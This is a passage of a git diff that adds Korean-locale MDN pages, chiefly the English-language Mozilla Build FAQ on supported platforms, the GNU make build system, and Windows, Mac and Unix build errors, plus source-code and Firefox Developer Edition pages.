+     <dd>Information about the <a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a> and <a class="external" href="http://talkback-public.mozilla.org/search/start.jsp" title="http://talkback-public.mozilla.org/search/start.jsp">Talkback</a> crash reporting systems.</dd>
+     <dt><a class="external" href="http://graphs.mozilla.org/" title="http://graphs.mozilla.org/">Performance tracking</a></dt>
+     <dd>See performance information for Mozilla projects.</dd>
+     <dt><a href="/en-US/docs/Developer_Guide/Callgraph" title="en-US/docs/Developing Mozilla/Callgraph">Callgraph</a></dt>
+     <dd>A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.</dd>
+     <dt><a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html">Developer forums</a></dt>
+     <dd>A topic-specific list of discussion forums where you can talk about Mozilla development issues.</dd>
+     <dt><a class="external" href="http://www.brianbondy.com/mozilla/cheatsheet/" title="http://www.brianbondy.com/mozilla/cheatsheet/">Mozilla Platform Development Cheat Sheet</a></dt>
+     <dd>Brian Bondy's list of frequently referenced information for platform developers.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/mozilla/developer_guide/mozilla_build_faq/index.html b/files/ko/mozilla/developer_guide/mozilla_build_faq/index.html
new file mode 100644
index 0000000000..f4f6e3ee52
--- /dev/null
+++ b/files/ko/mozilla/developer_guide/mozilla_build_faq/index.html
@@ -0,0 +1,415 @@
+---
+title: Mozilla Build FAQ
+slug: Mozilla/Developer_guide/Mozilla_Build_FAQ
+tags:
+  - Build documentation
+translation_of: Mozilla/Developer_guide/Mozilla_build_FAQ
+---
+<p>See also:</p>
+<ul>
+ <li><a class="external" href="http://www.mozilla.org/build/win32-debugging-faq.html">Win32 Debugging FAQ</a>: Tips on how to debug Mozilla on Windows</li>
+</ul>
+<h3 id="General_questions" name="General_questions">General questions</h3>
+<p> </p>
+<p> </p>
+<dl>
+ <dt id="platform">
+  Which systems are supported Mozilla build platforms?</dt>
+ <dd>
+  There are multiple levels or tiers of Mozilla build "support".
+  <p>Tier-1 platform refers to platforms that are the primary focus for development. Major problems on these platforms are considered showstoppers. These are also the platforms that show up on the <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=SeaMonkey">SeaMonkey tinderbox page</a>. The tier-1 platforms are:</p>
+  <ul>
+   <li>linux/x86 (gcc)</li>
+   <li>win32/x86 (msvc)</li>
+   <li>OS X (gcc)</li>
+  </ul>
+  <p>Tier-2 platforms are platforms for which a small varying subset of developers &amp; contributors actively try to maintain but general development does not halt for problems on these platforms. These platforms are usually referred as the Ports as most of them reside on the <a class="external" href="http://tinderbox.mozilla.org/SeaMonkey-Ports/">SeaMonkey-Ports tinderbox page</a>. The tier-2 platforms are:</p>
+  <ul>
+   <li>aix 4.3 (aCC)</li>
+   <li>beos 5.0.3 (gcc)</li>
+   <li>bsdi 4.x (gcc)</li>
+   <li>hpux 10.x,11.x (HP cc)</li>
+   <li>irix 6.x/gcc (gcc/MIPSpro)</li>
+   <li>linux/ppc (gcc)</li>
+   <li>os/2 (gcc)</li>
+   <li>osf1 5.x (Compaq cc)</li>
+   <li>solaris (sparc &amp; x86) 2.6+ (gcc/Forte)</li>
+  </ul>
+  <p>Tier-3 platforms are those platforms which generally are not actively worked on by the main developers of the project but have fixes contributed by third parties. Tier 3 platforms are:</p>
+  <ul>
+   <li>freebsd (gcc)</li>
+   <li>linux/alpha (gcc)</li>
+   <li>netbsd (gcc)</li>
+   <li>openvms (?)</li>
+   <li>ps2linux (gcc)</li>
+   <li>qnx 6 (gcc)</li>
+   <li>win32/x86 (gcc)</li>
+  </ul>
+  <p>All other platforms are "unsupported" by the primary mozilla developers, where "unsupported" really means "not a priority and no one is actively working on it".</p>
+  <p>Most Mozilla developers do not have access to non-tier-1 platforms so any bugs reports against non-tier-1 platforms should be overflowing with information to help the owner of the bug determine the cause of the problem and the proper solution. If you can provide a patch and/or verify that the developer's patches work for your platform, that would help a lot towards getting your bugs fixed and checked into the tree.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  What type of build system does Mozilla use?</dt>
+ <dd>
+  Mozilla uses a thin GNU configure layer on top of a legacy Netscape recursive makefile build system on all platforms. Like most configure-based projects, it uses GNU autoconf to generate the configure script. GNU make is used to drive the build process.
+  <p> </p>
+ </dd>
+ <dt>
+  Why use GNU make?</dt>
+ <dd>
+  GNU make has been ported to a lot of systems. This makes porting Mozilla to those systems a bit easier. Using only the subset of make features that are supported by the native make program on 10 different platforms would make the build system unnecessarily complicated.
+  <p> </p>
+ </dd>
+ <dt>
+  Will any other version of make work?</dt>
+ <dd>
+  No. The Mozilla makefiles use GNU make specific features which will only work with gnu make.
+  <p> </p>
+ </dd>
+ <dt>
+  Why aren't you using automake?</dt>
+ <dd>
+  Part of Netscape's legacy system involved using GNU make's -include feature to include a common set of rules from a handful of files in every Makefile that needed to use them. With this centralized rule system, one of the primary selling points of automake was made inconsequential. Also, at the time, Mozilla's method of building libraries did not mesh well with libtool.
+  <p> </p>
+ </dd>
+ <dt>
+  What happened to the nmake and CodeWarrior build systems?</dt>
+ <dd>
+  They no longer exist in the current tree. nmake build support was dropped during the Mozilla 1.2a release cycle. The mac cfm build system was dropped along with OS9 support shortly after the Mozilla 1.3 release.
+  <p> </p>
+ </dd>
+ <dt>
+  Why not ant, tmake, scons or
+  <i>
+   insert your favorite build system here</i>
+  ?</dt>
+ <dd>
+  Mainly, because no one has implemented these systems for Mozilla. When Mozilla was first open sourced, it only contained the legacy Netscape system. The autoconf layer was added on a branch and maintained in parallel for 6 months before it became the standard build system for the unix build.
+  <p> </p>
+ </dd>
+ <dt>
+  If I wanted to implement my favorite build system for Mozilla, would Mozilla start using it? I don't want to waste my time if you aren't going to use it.</dt>
+ <dd>
+  There's no guarantee that any code written for Mozilla will be accepted into the default tree. Any build system that is implemented would have to show that it's better overall than the current build system. Speed, flexibility, portability and the ability for a large group of developers who have 3+ years experience with the current build system to easily transition to the new system would be the major factors in deciding to switch. If you are serious and willing to do lots of work, contact <a>User:Benjamin Smedberg</a> to discuss the details of your proposal.
+  <p> </p>
+ </dd>
+ <dt>
+  Why doesn't Mozilla support autoconf 2.5x?</dt>
+ <dd>
+  Simply put, autoconf 2.5x does not offer anything to make the upgrade worth the effort. Autoconf 2.5x is not backwards compatible with autoconf 2.13 and the additional restrictions made by the newer versions of autoconf would require a major rewrite of the Mozilla build system for questionable gain.
+  <p>Some of the 2.13 features, such as the ability to pass additional arguments to sub-configures, are not available in 2.5x. People have asked repeated about those features on the autoconf mailing list without any favorable response. Rewriting the configures of the sub-projects of Mozilla (NSPR &amp; LDAP) is not an acceptible tradeoff. The sub-projects are also standalone projects and forking an entire codebase because of a build system incompatiblity is silly.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  Why doesn't NSS use autoconf?</dt>
+ <dd>
+  The NSS project is also used outside of the Mozilla project and the NSS project members did not feel that moving to autoconf was worth the cost. See {{ Bug(52990) }} for details.
+  <p> </p>
+ </dd>
+ <dt>
+  Can I build multiple Mozilla-based projects from a single source tree?</dt>
+ <dd>
+  Yes! Each project must be built in its own objdir.
+  <p> </p>
+ </dd>
+ <dt>
+  What is an objdir?</dt>
+ <dd>
+  An objdir build refers to the process of creating the output files in a different place than where the source lives. This is a standard feature of most configure-based projects. It allows you build for multiple configurations, including multiple platforms if you use a network filesystem, from a single source tree. It also avoid tainting your source tree so that you know that the files in your tree have not been modified by the build process.
+  <p>If you run configure by hand, you can use the standard method of creating an empty directory any place on the disk, changing to that directory and running /path/to/mozilla/configure from there.</p>
+  <pre class="eval">mkdir obj-debug
+cd obj-debug
+../mozilla/configure
+</pre>
+  <p>If you use client.mk to build, you can add the following to your mozconfig file:</p>
+  <pre class="eval">mk_add_options MOZ_OBJDIR=/path/to/objdir
+</pre>
+  <p> </p>
+ </dd>
+ <dt>
+  Can I cross-compile Mozilla?</dt>
+ <dd>
+  Yes, see the <a class="external" href="http://www.mozilla.org/build/cross-compiling.html">Cross-Compiling Mozilla</a> document for details. No, <a class="external" href="http://www.vmlinux.org/joachim/mirror/www.objsw.com/CrossGCC/FAQ-4.html#ss4.9">Canadian Cross-Compiling</a> is not supported.
+  <p> </p>
+ </dd>
+ <dt>
+  Do parallel (make -j) builds work for Mozilla?</dt>
+ <dd>
+  Yes. See the <a class="external" href="http://www.gnu.org/software/make/manual/html_node/Parallel.html">GNU Make Parallel Execution</a> manual entry for optimal usage.
+  <p>If you get obscure build errors when using parallel building (especially when using -j instead of -jN to run as many tasks in parallel as possible), try reducing the number of parallel tasks by decreasing N (or, if you used unlimited parallelism, add a small number N to -j).</p>
+  <p>Parallel building with -j4 and -j8 seems to work well.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  How do I force the build system to pick up any of the changes made to my mozconfig file?</dt>
+ <dd>
+  Touch any of the configure scripts in the tree. There is no explicit dependency upon the mozconfig file as the file can reside anywhere via the MOZCONFIG environment variable.
+  <p> </p>
+ </dd>
+ <dt>
+  error: file '../../toolkit/locales/en-US/chrome/necko/contents.rdf' doesn't exist at ../../config/make-jars.pl line 418, &lt;STDIN&gt; line 9.</dt>
+ <dd>
+  You are trying to build Firefox without following the instructions on <a href="ko/Configuring_Build_Options">Configuring Build Options</a>. In particular, your mozconfig file <b>must</b> source the Firefox default mozconfig file:
+  <pre class="eval">. $topsrcdir/browser/config/mozconfig
+# add your custom additional options here
+</pre>
+  <p> </p>
+ </dd>
+ <dt>
+  Initial cvs checkout fails with the message: &lt;tt&gt;cvs {{ mediawiki.external('checkout aborted') }}: *PANIC* administration files missing&lt;/tt&gt;</dt>
+ <dd>
+  You cannot create a cvs tree under a directory named "CVS". This is a feature/bug of cvs. cvs expects to find certain administration files under the CVS directory and will complain if they are missing.
+  <p> </p>
+ </dd>
+ <dt>
+  Error: ../coreconf/rules.mk:406: target `c' doesn't match the target pattern</dt>
+ <dd>
+  You need make 3.80 and no other version like 3.81
+  <p> </p>
+ </dd>
+</dl>
+<h3 id="Mac-specific_questions" name="Mac-specific_questions">Mac-specific questions</h3>
+<p> </p>
+<dl>
+ <dt>
+  Can I build a Mozilla application as a Universal Binary?</dt>
+ <dd>
+  Yes. See <a href="ko/Mac_OS_X_Universal_Binaries">Mac OS X Universal Binaries</a> for instructions.
+  <p> </p>
+ </dd>
+ <dt>
+  Does Mozilla build on UFS?</dt>
+ <dd>
+  Yes, since {{ Bug(157036) }} has been fixed.
+  <p> </p>
+ </dd>
+ <dt>
+  Does Mozilla run on UFS?</dt>
+ <dd>
+  Yes.
+  <p> </p>
+ </dd>
+ <dt>
+  Can I use CodeWarrior to compile the Mach-O build?</dt>
+ <dd>
+  No, CodeWarrior is dead. See {{ Bug(119589) }} for details.
+  <p> </p>
+ </dd>
+ <dt>
+  After rebuilding e.g. layout, how do I make my FirefoxDebug.app reflect that change?</dt>
+ <dd>
+  make -C browser/app.</dd>
+</dl>
+<p>For common Mac build errors and additional troubleshooting tips, see <a href="ko/Mac_OS_X_Build_Prerequisites#Troubleshooting">Troubleshooting</a> in <a href="ko/Mac_OS_X_Build_Prerequisites">Mac OS X Build Prerequisites</a>.</p>
+<h3 id="Win32-specific_questions" name="Win32-specific_questions">Win32-specific questions</h3>
+<p> </p>
+<p> </p>
+<dl>
+ <dt>
+  Is there a Microsoft Visual Studio project file to build Mozilla?</dt>
+ <dd>
+  No. You must use cygwin and GNU make.
+  <p> </p>
+ </dd>
+ <dt>
+  Can I run the build commands from cmd.exe?</dt>
+ <dd>
+  Yes. Make invokes the cygwin /bin/sh subshell to execute commands so it does not matter what shell is used to initially invoke make.
+  <p> </p>
+ </dd>
+ <dt>
+  Which version of cygwin's autoconf package do I need to use?</dt>
+ <dd>
+  Because of the incompatibilities between autoconf 2.1x and 2.5x, the cygwin maintainers wrote a wrapper script which will determine which version of autoconf your configure script needs and invoke that version of autoconf. You will need the autoconf(-wrapper) &amp; autoconf-stable packages. See <a class="external" href="http://cygwin.com/ml/cygwin-announce/2001/msg00177.html" rel="freelink">http://cygwin.com/ml/cygwin-announce.../msg00177.html</a> for details.
+  <p> </p>
+ </dd>
+ <dt>
+  Microsoft tools (CL, LINK, RC) gives
+  <i>
+   file not found</i>
+  errors</dt>
+ <dd>
+  The INCLUDE and LIB environment variables are used by the Microsoft Visual C++ tools. They are ordinarily set up in vcvars32.bat. Depending on which modules you build, you may or may not need MFC and ATL. Below are paths that work if Visual C++ is installed at "C:\msvs":
+  <pre class="eval">set INCLUDE=C:\msvs\VC98\Include;C:\msvs\VC98\MFC\Include;C:\msvs\VC98\ATL\Include
+set LIB=C:\msvs\VC98\Lib;C:\msvs\VC98\MFC\Lib
+</pre>
+  <p> </p>
+ </dd>
+ <dt>
+  cvs fails with the message:</dt>
+ <dd>
+  <pre class="eval">cvs update: authorization failed: server XXXX rejected access
+cvs update: used empty password; try "cvs login" with a real password
+</pre>
+  <p>You are mixing wincvs and cygwin cvs. Use only one or the other.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  cvs fails with the message:</dt>
+ <dd>
+  <pre class="eval">cvs [checkout aborted]: cannot rename file CVS/Entries.Backup to CVS/Entries: Permission denied
+</pre>
+  <p>As of cygwin 1.3.13, ntsec is enabled by default. ntsec is cygwin's attempt to get a more UNIX like permission structure based upon the security features of Windows NT. The error message indicates that there's a mapping discrepancy between the unix permissions listed in cygwin's /etc/passwd file and those used by Windows NT. As a workaround, you can add "nontsec" to your CYGWIN environment variable. The proper fix would be to fix the mapping problem.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  Make spits out an error about not being able to find a .dtd file</dt>
+ <dd>
+  You probably used WinZip to unpack the source archive. Don't do that. WinZip, by default, doesn't unpack 0 length files from tar.gz archives. Use another utility, or use the pull script to checkout the files that WinZip didn't extract.
+  <p> </p>
+ </dd>
+ <dt>
+  nsinstall or another native win32 program complains about a file not being found</dt>
+ <dd>
+  Check your cygwin mount table. Running the mount command should return something similar to:
+  <pre class="eval">c: on /cygdrive/c type user (binmode,noumount)
+e: on /cygdrive/e type user (binmode,noumount)
+c:\cygwin on / type system (textmode)
+c:\cygwin\bin on /usr/bin type system (textmode)
+c:\cygwin\lib on /usr/lib type system (textmode)
+</pre>
+  <p>The build system expects that drive partitions are mounted using /cygdrive as the drive prefix. If c: or e: does not use /cygdrive as the drive prefix, then you cannot build Mozilla using those drives. You will need to manually mount the drive at the expected spot by using the command:</p>
+  <pre class="eval">mount -s "e:\" /cygdrive/e
+</pre>
+  <p>binmode (unix lineendings) or textmode (dos lineendings) don't matter as long as you use an editor (emacs, msdev) which can handle the appropriate line endings.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  xpidl.exe crashes with an access violation</dt>
+ <dd>
+  This usually occurs because of a mismatch between your compiler and your glib and/or libIDL libraries.
+  <p>If you are building with Visual Studio .NET, then you must link against the VC7 built version of the glib &amp; libIDL DLLs. For Visual Studio .NET 2003, use the VC7.1 versions. For Visual Studio 2005, use the VC8 versions.</p>
+  <p>The directory containing the versions of these libraries specific to your compiler must be in your PATH before any other version of those libraries. The .dll and .lib files must be executable (just chmod 755 them) or cygwin will not load them.</p>
+  <p>See <a href="ko/Windows_Build_Prerequisites/Free_Microsoft_Compilers">Windows Build Prerequisites</a> for more tips on building with VC7 and newer.</p>
+  <p>There are also some alternative static libraries available in {{ Bug(242870) }} that may be used instead of compiler specific libraries.</p>
+  <p>If you are building with VC6, then you must make sure that you are
+   <i>
+    not</i>
+   using the VC7 libraries at buildtime or at runtime.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  configure: error: the linker major version, , does not match the compiler suite version, 6.</dt>
+ <dd>
+  The cygwin tool "link.exe" is being confused for an object linker. Make sure that the Microsoft tools are before cygwin in your PATH, or rename or remove /bin/link.exe
+  <p> </p>
+ </dd>
+ <dt>
+  configure: error: installation or configuration problem: C compiler cannot create executables.</dt>
+ <dd>
+  Try checking to make sure your PATH variable includes all the necessary directories. If you are using MS Visual Studio, run vcvars32.bat (which sets your PATH, LIB, and INCLUDE variables). If your build environment has changed, you may need to delete your config.cache file (in your mozilla or object directory) and then build again.
+  <p> </p>
+ </dd>
+ <dt>
+  fatal error LNK1112: module machine type 'IA64' conflicts with target machine type 'X86'</dt>
+ <dd>
+  Try changing the order of the directories in your PATH, LIB, and INCLUDE variables. Move any directories that include "win64" or "IA64" (or "AMD64") closer to the end.
+  <p> </p>
+ </dd>
+ <dt>
+  LINK : fatal error LNK1104: cannot open file 'atlthunk.lib'</dt>
+ <dd>
+  According to <a class="external" href="http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=64509">this Microsoft forum thread</a>, there is a different version of the Active Template Library (ATL) in the free Platform Software Development Kit (PSDK) than in Visual Studio. The ATL in the PSDK does not support 32-bit code, only 64-bit, whereas the Visual Studio ATL supports both and does not require atlthunk.lib. Apparently the atlthunk.lib file is not available and cannot be built from <a href="ko/Windows_Build_Prerequisites/Free_Microsoft_Compilers">freely available tools</a>, including the Visual C++ Toolkit and Visual Studio Express. You can either upgrade to the full version of Visual Studio to use its version of ATL, or you can workaround this problem by changing some code in atlbase.h (in \include\atl under the PSDK directory) as follows.
+  <pre class="eval">--- atlbase.h.old       2006-06-08 08:20:26.671875000 -0400
++++ atlbase.h   2006-06-08 08:13:26.578125000 -0400
+@@ -283,7 +283,7 @@
+         }
+ };
+ #pragma pack(pop)
+-
++/*
+ PVOID __stdcall __AllocStdCallThunk(VOID);
+ VOID  __stdcall __FreeStdCallThunk(PVOID);
+
+@@ -291,6 +291,11 @@
+ #define FreeStdCallThunk(p) __FreeStdCallThunk(p)
+
+ #pragma comment(lib, "atlthunk.lib")
++*/
++
++// workaround for not having atlthunk.lib in PSDK or VC++ 2005 Express Edition
++#define AllocStdCallThunk() HeapAlloc(GetProcessHeap(),0,sizeof(_stdcallthunk))
++#define FreeStdCallThunk(p) HeapFree(GetProcessHeap(), 0, p)
+
+ #elif defined (_M_AMD64)
+ #pragma pack(push,2)
+</pre>
+  <p>I also had to delete the object directory and compile from scratch in order for the compiler to pick up this change.</p>
+  <p> </p>
+ </dd>
+ <dt>
+  compiling or building an executable with cygwin and VS6.0 results in FIND: Parameter format not correct</dt>
+ <dd>
+  There is confusion between System32 "find" and cygwin's /usr/bin/find. The desired find is cygwin's. This is caused by Path ordering. A few possible solutions are possible:
+  <ul>
+   <li>temporarily rename system32/find.exe</li>
+   <li>make sure cygwin path entry comes before system32 path entry</li>
+  </ul>
+  <p> </p>
+ </dd>
+ <dt>
+  I packaged Firefox via the installer: &lt;tt&gt;make -C ${OBJ_DIR}/browser/installer installer&lt;/tt&gt; without any problems. Executing the resulting installer asks for a missing mozz.dll; installation fails</dt>
+ <dd>
+  Both Thunderbird and Firefox should be compiled with the --enable-static --disable-shared configure flags
+  <p> </p>
+  <p> </p>
+ </dd>
+ <dt>
+  build fails with the message:</dt>
+ <dd>
+  <pre class="eval">shlibsign.exe - Entry Point Not Found
+The procedure entry point CERT_GetFirstEmailAddress could not
+be located in the dynamic link library nss3.dll.
+</pre>
+  <p>You may have multiple instances of nss3.dll on your machine and in your path. Run a seach on your machine for all instances of this file. Move any instances found outside of your firefox build tree aside during the build and rename them back when the build is done.&lt;/dd&gt;</p>
+  <p> </p>
+ </dd>
+</dl>
+<h3 id="Unix-specific_questions" name="Unix-specific_questions">Unix-specific questions</h3>
+<p> </p>
+<dl>
+ <dt>
+  Galeon needs libgtksuperwin.so but I don't have that file in my Mozilla gtk2 builds. Where is it?</dt>
+ <dd>
+  Only the Mozilla gtk1 builds build libgtksuperwin.so. If you want to use galeon with a gtk2 build, you will need to use galeon2.
+  <p> </p>
+ </dd>
+ <dt>
+  Why does configure say that it needs libIDL &gt;= 0.6.3 when I have libIDL 0.8.x installed?</dt>
+ <dd>
+  libIDL 0.8x can only be used when compiling against gtk2. Mozilla compiles against gtk1 by default. To use libIDL 0.8.x and gtk2, you must specify --enable-default-toolkit=gtk2 on the configure command line or in your mozconfig file. NOTE: This is an old issue which has been fixed for mozilla 1.8.
+  <p> </p>
+ </dd>
+ <dt>
+  How do I build on Solaris 10 x86 (Seamonkey)?</dt>
+ <dd>
+  I had to do the following to get a working environment</dd>
+ <dd>
+  1. Install forte (free from Sun)</dd>
+ <dd>
+  2. Install gmake (from blastwave)</dd>
+ <dd>
+  3. mv /usr/ucb/cc /usr/ucb/cc.hold</dd>
+ <dd>
+  4. CFLAGS="-xlibmil"; export CFLAGS</dd>
+ <dd>
+  5. CXXFLAGS="-xlibmil -xlibmopt -features=tmplife -norunpath"; export CXXFLAGS</dd>
+ <dd>
+  6. LDFLAGS='-R$ORIGIN -R/usr/sfw/lib -R/opt/sfw/lib -R/usr/local/lib -R/opt/csw/lib'; export LDFLAGS</dd>
+ <dd>
+  7. PATH=$PATH:/opt/SUNWspro/bin:/opt/csw/bin:/opt/csw/sbin:/usr/ucb/bin:/usr/ccs/bin; export PATH</dd>
+ <dd>
+  8. LD_LIBRARY_PATH=/opt/SUNWspro/lib:$LD_LIBRARY_PATH; export LD_LIBRARY_PATH</dd>
+ <dd>
+  9. Create a mozconfig file and build as normal</dd>
+ <dd>
+  10. The building of the package (tar and gzip) failed so I just manually tarred up the resulting files in the dist directory
+  <p> </p>
+ </dd>
+ <dt>
+  libxpcom_core.so: cannot restore segment prot after reloc: Permission denied&lt;/dt&gt;</dt>
+ <dd>
+  You are probably using Fedora Core 5, or some other Linux distrobution that has SELinux turned on. Use the command 'chcon -t chcon -t texrel_shlib_t lib*' in your dist/bin directory to fix it.&lt;/dd&gt;</dd>
+</dl>
+<p>{{ languages( { "fr": "fr/FAQ_sur_la_compilation_de_Mozilla" } ) }}</p>
diff --git a/files/ko/mozilla/developer_guide/source_code/index.html b/files/ko/mozilla/developer_guide/source_code/index.html
new file mode 100644
index 0000000000..13120b58e7
--- /dev/null
+++ b/files/ko/mozilla/developer_guide/source_code/index.html
@@ -0,0 +1,49 @@
+---
+title: Working with Mozilla source code
+slug: Mozilla/Developer_guide/Source_Code
+tags:
+  - Developing Mozilla
+  - NeedsTranslation
+translation_of: Mozilla/Developer_guide/Source_Code
+---
+<p>The articles below will help you get your hands on the Mozilla source code, learn to navigate the code, and how to get the changes you propose checked into the tree.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a class="internal" href="/en-US/Developer_Guide/Source_Code/Mercurial" title="En/Mozilla Source Code (Mercurial)">Getting the code from the Mercurial repository</a></dt>
+ <dd>If you plan to contribute to the Mozilla project, the best way to get the code is to check it out from the version control repository. Learn how to do that here.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Using_the_VM">Getting a pre-configured Mozilla build system virtual machine</a></dt>
+ <dd>This is the easiest way to get started: use a VirtualBox virtual machine which is already configured with a complete build environment for you to use. Just boot the VM and build!</dd>
+ <dt><a class="internal" href="/en-US/Developer_Guide/Source_Code/Downloading_Source_Archives" title="En/Mozilla Source Code (HTTP//FTP)">Downloading the source code</a></dt>
+ <dd>If you want to fetch the code for a specific release of a particular Mozilla product, you may prefer to download a source code archive.</dd>
+ <dt><a class="internal" href="/en/Viewing_and_searching_Mozilla_source_code_online" title="En/Viewing and searching Mozilla source code online">Viewing and searching Mozilla source code online</a></dt>
+ <dd>Learn how to use MXR, Mozilla's online search and browsing tool for accessing the source code. This isn't a good way to download the code, but is a great way to search it.</dd>
+ <dt><a class="internal" href="/en/Mozilla_Source_Code_Directory_Structure" title="en/Mozilla Source Code Directory Structure">Navigating the Mozilla source code</a></dt>
+ <dd>Learn about the various folders in the Mozilla source tree, and how to find what you're looking for.</dd>
+ <dt><a class="external" href="/en/Introduction#Find_a_bug_we%27ve_identified_as_a_good_fit_for_new_contributors." title="/en/Introduction#Find_a_bug_we%27ve_identified_as_a_good_fit__for_new_contributors.">Bugs for newcomers</a></dt>
+ <dd>If you are new to the project and want something to work on, look here.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a class="internal" href="/en-US/Developer_Guide/Coding_Style" title="En/Mozilla Coding Style Guide">Mozilla Coding Style Guide</a></dt>
+ <dd>The code style guide provides information about how you should format your source code to ensure that you don't get mocked by the reviewers.</dd>
+ <dt><a href="/en-US/Developer_Guide/Interface_development_guide" title="En/Developer Guide/Interface development guide">Interface development guide</a></dt>
+ <dd>Guidelines and documentation for how to create and update XPCOM interfaces.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Developer_guide/CSS_Guidelines">The Firefox codebase: CSS Guidelines</a></dt>
+ <dd>This document contains guidelines defining how CSS inside the Firefox codebase should be written, it is notably relevant for Firefox front-end engineers.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Developer_guide/SVG_Guidelines">SVG Cleanup Guide</a></dt>
+ <dd>Guidelines and best practices for shipping new SVGs.</dd>
+ <dt><a class="link-https" href="https://wiki.mozilla.org/Build:TryServer" title="https://wiki.mozilla.org/Build:TryServer">Try Servers</a></dt>
+ <dd>Mozilla products build on at least three platforms. If you don't have access to them all, you can use the try servers to test your patches and make sure the tests pass.</dd>
+ <dt><a class="internal" href="/en/Creating_a_patch" title="En/Creating a patch">Creating a patch</a></dt>
+ <dd>Once you've made a change to the Mozilla code, the next step (after making sure it works) is to create a patch and submit it for review. <em>This article needs to be updated fully for Mercurial.</em></dd>
+ <dt><a class="external" href="https://www.mozilla.org/hacking/committer/" title="https://www.mozilla.org/hacking/committer/">Getting commit access to the source code</a></dt>
+ <dd>Feel ready to join the few, the proud, the committers? Find out how to get check-in access to the Mozilla code.</dd>
+ <dt><a class="internal" href="/en-US/Developer_Guide/Source_Code/CVS" title="En/Mozilla Source Code (CVS)">Getting older Mozilla code from CVS</a></dt>
+ <dd>Older versions of the Mozilla source code, as well as the current versions of NSS and NSPR, are kept in a CVS repository. Learn about that in this article.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/mozilla/firefox/developer_edition/index.html b/files/ko/mozilla/firefox/developer_edition/index.html
new file mode 100644
index 0000000000..5303ed6630
--- /dev/null
+++ b/files/ko/mozilla/firefox/developer_edition/index.html
@@ -0,0 +1,56 @@
+---
+title: Developer Edition
+slug: Mozilla/Firefox/Developer_Edition
+tags:
+  - 초보자
+  - 파이어폭스
+translation_of: Mozilla/Firefox/Developer_Edition
+---
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/9143/firefox-dev-ed_logo-only_1024.png" style="display: block; height: 256px; margin-left: auto; margin-right: auto; width: 256px;">웹 개발자들을 위한 Firefox입니다.</p>
+
+<p><a href=" https://www.mozilla.org/en-US/firefox/developer/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;"> Firefox 개발자 에디션 내려받기</a></p>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<h3 id="최신_파이어폭스_기능"><strong>최신 파이어폭스 기능</strong></h3>
+
+<p>파이어폭스 개발자 에디션은 <a href="https://wiki.mozilla.org/Release_Management/Release_Process">Firefox Release Process</a>의 오로라 채널을 대채합니다. 오로라 채널처럼, 개발자 에디션에서도 6개월에 한번씩 새 기능이 업데이트 됩니다.물론, Nightly 빌드에서 검증된 상태로 말이죠.</p>
+
+<p>개발자 에디션을 사용하면, 여러분은 도구와 플랫폼에 대한 엑세스를 Firefox 릴리즈 보다 적어도 12주 전에 체험할 수 있습니다.</p>
+
+<p><a href="/en-US/Firefox/Releases/35">어떤 기능이 새로 생겼는지 알아보세요.</a></p>
+</div>
+
+<div class="column-half">
+<h3 id="새로운_테마"><strong>새로운 테마</strong></h3>
+
+<p>이 테마는 개발자 도구에 더 쉽게 접근할 수 있도록 돕습니다.</p>
+
+<h3 id="시험적인_개발자_도구"><strong>시험적인 개발자 도구</strong></h3>
+
+<p>저희는 여러가지 릴리즈에 포함되지 않은 시험적인 개발자 도구들을 포함하고 있습니다.</p>
+
+<p>예를 들어, 파이어폭스 개발자 에디션은 <a href="/en-US/docs/Tools/Valence">Valence add-on</a>과, <a href="/en-US/docs/Tools">Firefox developer tools</a>를 다른 브라우저에서 연결할 수 있는 도구를 제공합니다.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="다중_프로필"><strong>다중 프로필</strong></h3>
+
+<p>파이어폭스 개발자 에디션은 다중 프로필을 사용할 수 있습니다. 이는 설치된 다른 파이어폭스 버전과 바꿀 수 있는 것입니다. 이 의미는 굳이 따로 Firefox Beta를 실행시키지 않고도 개발자 에디션을 통해 사용할 수 있다는 것입니다.</p>
+
+<div class="note">
+<p><strong>노트:</strong> 개발자 에디션을 처음 시작하게 되면, 커스트마이징되지않은 웹 브라우저를 보실겁니다.애드온, 즐겨찾기, 검색기록 없이 말이죠. 당신은 <a href="https://support.mozilla.org/en-US/kb/how-do-i-set-up-firefox-sync">파이어폭스 동기화를 사용하여 </a>다른 에디션과 동기화 할 수 있습니다.</p>
+</div>
+</div>
+
+<div class="column-half">
+<h3 id="웹_개발자들을_위한_맞춤_설정"><strong>웹 개발자들을 위한 맞춤 설정</strong></h3>
+
+<p>저희는 웹 개발자들을 위해 몇가지 설정을 해 두었습니다. 예를 들면, 크롬과 원격 디버깅이 기본적으로 활성화 되어있습니다.</p>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ko/mozilla/firefox/headless_mode/index.html b/files/ko/mozilla/firefox/headless_mode/index.html
new file mode 100644
index 0000000000..899740e0af
--- /dev/null
+++ b/files/ko/mozilla/firefox/headless_mode/index.html
